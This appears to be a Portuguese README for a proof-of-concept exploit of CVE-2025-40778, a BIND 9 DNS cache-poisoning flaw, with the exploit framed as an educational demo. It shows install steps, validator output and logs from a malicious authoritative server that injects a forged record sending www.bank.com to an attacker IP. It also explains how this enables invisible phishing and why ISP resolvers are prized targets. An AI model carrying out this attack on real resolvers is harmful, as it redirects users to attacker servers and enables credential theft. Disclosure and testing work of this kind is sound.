
Prova de conceito demonstrando envenenamento de cache DNS via injeção de registros adicionais no BIND 9, com ferramentas para validar e explorar o CVE-2025-40778 para testes de segurança autorizados.
Demonstração educacional da vulnerabilidade de Envenenamento de Cache DNS via injeção de Registros Adicionais.
APENAS PARA FINS EDUCACIONAIS
Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O uso não autorizado desta ferramenta contra sistemas que você não possui ou sem permissão explícita para testar é ilegal e antiético.
O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por esta ferramenta.
Esta PoC demonstra como um servidor DNS autoritativo comprometido pode injetar registros envenenados em respostas DNS, potencialmente redirecionando usuários para servidores maliciosos sem o seu conhecimento.
Vetor de Ataque:
Cenários possíveis:
👤 Autor e Contato
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
Esta ferramenta detecta se é possível explorar a vulnerabilidade CVE-2025-40778
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
Descrição: Nesta etapa, você inicia o servidor DNS autoritativo malicioso que simula um servidor de nomes comprometido. O servidor escuta em um IP e porta específicos (127.0.0.2:5301), pronto para injetar registros DNS envenenados nas respostas. Quando configurado, ele responderá a consultas legítimas para www.test.local com o endereço IP correto, mas simultaneamente injetará um registro malicioso para www.bank.com apontando para um IP controlado pelo atacante. Esse comportamento de resposta dupla é o núcleo do ataque de envenenamento de cache — o resolvedor DNS vulnerável armazenará em cache tanto a resposta legítima quanto o registro envenenado, mesmo que apenas um domínio tenha sido solicitado.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
Descrição: Aqui você realiza uma consulta DNS padrão através do seu resolvedor local (BIND) para verificar se a infraestrutura está funcionando corretamente. A consulta para www.test.local deve retornar o endereço IP legítimo (192.168.0.136) como esperado. Neste ponto, a resposta parece normal para o usuário final — não há indicação visível de comprometimento. No entanto, nos bastidores, o resolvedor DNS vulnerável já armazenou em cache ambos os registros: o legítimo que você solicitou E o registro envenenado para www.bank.com que foi injetado na seção adicional da resposta. Esta etapa confirma que seu resolvedor DNS se comunicou com sucesso com o servidor autoritativo malicioso e processou sua resposta.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87
Descrição: Esta etapa revela a evidência do envenenamento de cache bem-sucedido da perspectiva do atacante. Os logs do servidor DNS malicioso mostram que ele recebeu a consulta para www.test.local, respondeu com a resposta legítima E injetou com sucesso o registro envenenado para www.bank.com. A notação "RRs: A,A" indica que dois registros A foram enviados na resposta — um legítimo, um malicioso. Neste momento, o cache DNS da vítima está comprometido. Quaisquer consultas subsequentes para www.bank.com deste resolvedor retornarão o IP do atacante (192.168.0.100) em vez do site bancário real, permitindo ataques de phishing transparentes onde os usuários veem a URL correta, mas se conectam a um servidor malicioso. O ataque é invisível para os usuários finais e persistirá até que o cache DNS expire (TTL).
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
O Que Isso Significa na Prática:
Imagine que você é um usuário comum tentando acessar o site do seu banco. Você digita cuidadosamente www.bank.com no seu navegador — a URL está 100% correta, sem erros de digitação, sem links suspeitos de e-mails. A barra de endereço do seu navegador mostra o domínio exato em que você confia. Tudo parece legítimo.
Mas aqui está o que realmente aconteceu nos bastidores:
O servidor DNS da sua empresa foi comprometido por um atacante que envenenou seu cache usando esta vulnerabilidade. Quando seu computador pergunta "Onde está www.bank.com?", o DNS envenenado responde com o endereço IP do servidor do atacante em vez do endereço real do banco.
A Anatomia de um Ataque
O que o atacante pode roubar:
Por que é tão perigoso:
Este ataque é completamente invisível para a vítima. Não há aviso, não há sinais de alerta, não há como um usuário comum detectá-lo. Até profissionais conscientes de segurança podem ser vítimas porque o ataque ocorre no nível da infraestrutura, não no dispositivo do usuário. Um único servidor DNS comprometido pode afetar milhares de usuários simultaneamente, tornando-o um vetor de ataque altamente eficaz para cibercriminosos que visam organizações.
Conclusão: CVE-2025-40778 permite que atacantes transformem a confiança em arma. Quando a própria infraestrutura na qual confiamos para navegar na internet é comprometida, até os usuários mais cautelosos se tornam vulneráveis. É por isso que entender, testar e mitigar esta vulnerabilidade é crítico para a postura de segurança de qualquer organização.
Requisito Crítico: Para que este ataque tenha sucesso, a vítima deve estar usando o resolvedor DNS comprometido. O ataque não visa diretamente os dispositivos dos usuários finais — em vez disso, visa a infraestrutura DNS da qual os usuários dependem para navegar na internet.
Alvos de Ataque no Mundo Real:
O objetivo principal do atacante é comprometer resolvedores DNS que atendem grandes bases de usuários. Os alvos mais valiosos incluem:
Por Que Isso Importa:
A eficácia do ataque escala com a base de usuários do resolvedor DNS. Comprometa o servidor DNS de um ISP e você potencialmente compromete todos os clientes que não alteraram manualmente suas configurações DNS. É por isso que a segurança DNS no nível da infraestrutura é crítica — um único resolvedor vulnerável pode criar uma superfície de ataque massiva afetando milhares ou milhões de usuários que confiam nessa infraestrutura para estar segura.